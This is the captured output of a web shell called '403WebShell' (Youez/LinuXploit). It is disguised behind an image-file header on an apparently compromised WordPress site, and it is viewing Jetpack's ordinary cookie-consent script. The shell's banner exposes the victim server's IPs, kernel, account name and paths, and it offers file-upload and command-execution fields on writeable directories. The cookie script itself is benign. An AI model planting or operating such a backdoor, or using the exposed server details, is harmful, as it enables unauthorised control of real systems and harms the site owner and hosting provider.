????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.112.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/buyeaa.com/wp-content/plugins/jetpack/modules/widgets/eu-cookie-law/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/buyeaa.com/wp-content/plugins/jetpack/modules/widgets/eu-cookie-law/eu-cookie-law.js
( function () {
	var overlay = document.getElementById( 'eu-cookie-law' ),
		widget = document.querySelector( '.widget_eu_cookie_law_widget' );

	if ( null === widget || null === overlay ) {
		return;
	}

	var cookieValue = document.cookie.replace(
			/(?:(?:^|.*;\s*)eucookielaw\s*=\s*([^;]*).*$)|^.*$/,
			'$1'
		),
		inCustomizer = widget && widget.hasAttribute( 'data-customize-widget-id' ),
		getScrollTop,
		initialScrollPosition,
		scrollFunction;

	/**
	 * Gets the amount that the window is scrolled.
	 *
	 * @return int The distance from the top of the document.
	 */
	getScrollTop = function () {
		return Math.abs( document.body.getBoundingClientRect().y );
	};

	if ( overlay.classList.contains( 'top' ) ) {
		widget.classList.add( 'top' );
	}

	if ( overlay.classList.contains( 'ads-active' ) ) {
		var adsCookieValue = document.cookie.replace(
			/(?:(?:^|.*;\s*)personalized-ads-consent\s*=\s*([^;]*).*$)|^.*$/,
			'$1'
		);
		if ( '' !== cookieValue && '' !== adsCookieValue && ! inCustomizer ) {
			overlay.parentNode.removeChild( overlay );
		}
	} else if ( '' !== cookieValue && ! inCustomizer ) {
		overlay.parentNode.removeChild( overlay );
	}

	document.body.appendChild( widget );
	overlay.querySelector( 'form' ).addEventListener( 'submit', accept );

	if ( overlay.classList.contains( 'hide-on-scroll' ) ) {
		initialScrollPosition = getScrollTop();
		scrollFunction = function () {
			if ( Math.abs( getScrollTop() - initialScrollPosition ) > 50 ) {
				accept();
			}
		};
		window.addEventListener( 'scroll', scrollFunction );
	} else if ( overlay.classList.contains( 'hide-on-time' ) ) {
		setTimeout( accept, overlay.getAttribute( 'data-hide-timeout' ) * 1000 );
	}

	var accepted = false;
	function accept( event ) {
		if ( accepted ) {
			return;
		}
		accepted = true;

		if ( event && event.preventDefault ) {
			event.preventDefault();
		}

		if ( overlay.classList.contains( 'hide-on-scroll' ) ) {
			window.removeEventListener( 'scroll', scrollFunction );
		}

		var expireTime = new Date();
		expireTime.setTime(
			expireTime.getTime() + overlay.getAttribute( 'data-consent-expiration' ) * 24 * 60 * 60 * 1000
		);

		document.cookie =
			'eucookielaw=' + expireTime.getTime() + ';path=/;expires=' + expireTime.toGMTString();
		if (
			overlay.classList.contains( 'ads-active' ) &&
			overlay.classList.contains( 'hide-on-button' )
		) {
			document.cookie =
				'personalized-ads-consent=' +
				expireTime.getTime() +
				';path=/;expires=' +
				expireTime.toGMTString();
		}

		overlay.classList.add( 'hide' );
		setTimeout( function () {
			overlay.parentNode.removeChild( overlay );
			widget.parentNode.removeChild( widget );
		}, 400 );
	}
} )();

Youez - 2016 - github.com/yon3zu
LinuXploit